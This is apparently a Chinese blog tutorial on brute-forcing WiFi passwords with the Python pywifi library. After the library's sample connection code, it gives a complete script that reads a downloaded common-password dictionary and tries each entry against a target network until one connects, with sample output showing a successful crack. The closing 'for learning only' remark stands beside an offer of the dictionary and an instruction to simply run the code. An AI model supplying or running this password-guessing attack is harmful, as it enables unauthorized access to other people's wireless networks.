pywifi_局域网WiFi暴力破解

最近又看到python的一个组件,pywifi,然后了解了一下就发现可以用程序连接wifi,然后我去csdn用了50积分下载了一个wifi常用字典。就可以暴力破解wifi密码,前提是密码库里面有你需要的密码。

pywifi

安装

1
pip install pywifi

调用方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import pywifi

wifi = pywifi.PyWiFi()

iface = wifi.interfaces()[0]

iface.disconnect()
time.sleep(1)
assert iface.status() in\
[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]

profile = pywifi.Profile()
profile.ssid = 'testap'
profile.auth = const.AUTH_ALG_OPEN
profile.akm.append(const.AKM_TYPE_WPA2PSK)
profile.cipher = const.CIPHER_TYPE_CCMP
profile.key = '12345678'

iface.remove_all_network_profiles()
tmp_profile = iface.add_network_profile(profile)

iface.connect(tmp_profile)
time.sleep(30)
assert iface.status() == const.IFACE_CONNECTED

iface.disconnect()
time.sleep(1)
assert iface.status() in\
[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]

参考自:https://pypi.org/project/pywifi/

局域网WiFi暴力破解

首先我下载了csdn的一个资源常用破WIFI字典(很全).或者你自行寻找wifi字典位置。

程序设计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import pywifi
from pywifi import *
import time

SSID='989'
pathfile = "E:/常用wifi字典.txt"


def CrackWifi(password):
wifi = pywifi.PyWiFi()
iface = wifi.interfaces()[0] # 取一个无限网卡
# 是否成功的标志
isok = True

if(iface.status()!=const.IFACE_CONNECTED):
profile = pywifi.Profile()
profile.ssid = SSID
profile.auth = const.AUTH_ALG_OPEN #需要秘密
profile.akm.append(const.AKM_TYPE_WPA2PSK) #加密类型
profile.cipher = const.CIPHER_TYPE_CCMP #加密单元
#profile.key = '123456789' #在此输入你的wifi密码
profile.key = password
#time.sleep(3)
wifi = pywifi.PyWiFi()
iface = wifi.interfaces()[0] # 取一个无限网卡
profile = iface.add_network_profile(profile)
iface.connect(profile)
time.sleep(3) #程序休眠时间3秒;如果没有此句,则会打印连接失败,因为它需要一定的检测时间
if iface.status()==const.IFACE_CONNECTED:
print("连接成功!!!")
else:
print("连接失败!!!")
isok=False
return isok
else:
print("已经连接网络")
return isok
#CrackWifi()
def PasswordFile():
global pathfile
files=open(pathfile,'r')
while True:
fp=files.readline()
if not fp:
break
wifipass = fp[:-1]
print(wifipass)
if CrackWifi(wifipass):
break
while True:
PasswordFile()
time.sleep(5)

输出结果

1
2
3
4
5
6
7
8
9
10
11
12
12345678
连接失败!!!
88888888
连接失败!!!
123456789
连接失败!!!
1234567890
连接失败!!!
11111111
连接失败!!!
1111111111
链接成功

总结

该方法就是不断的输入密码依次来破解wifi的密码,但这要看其是否为常用的wifi密码,是否在wifi字典中,撞库去获取正确密码,本代码仅限于学习参考。

运行上述代码即可。当然我也附带了wifi密码库给你们节约了50个积分。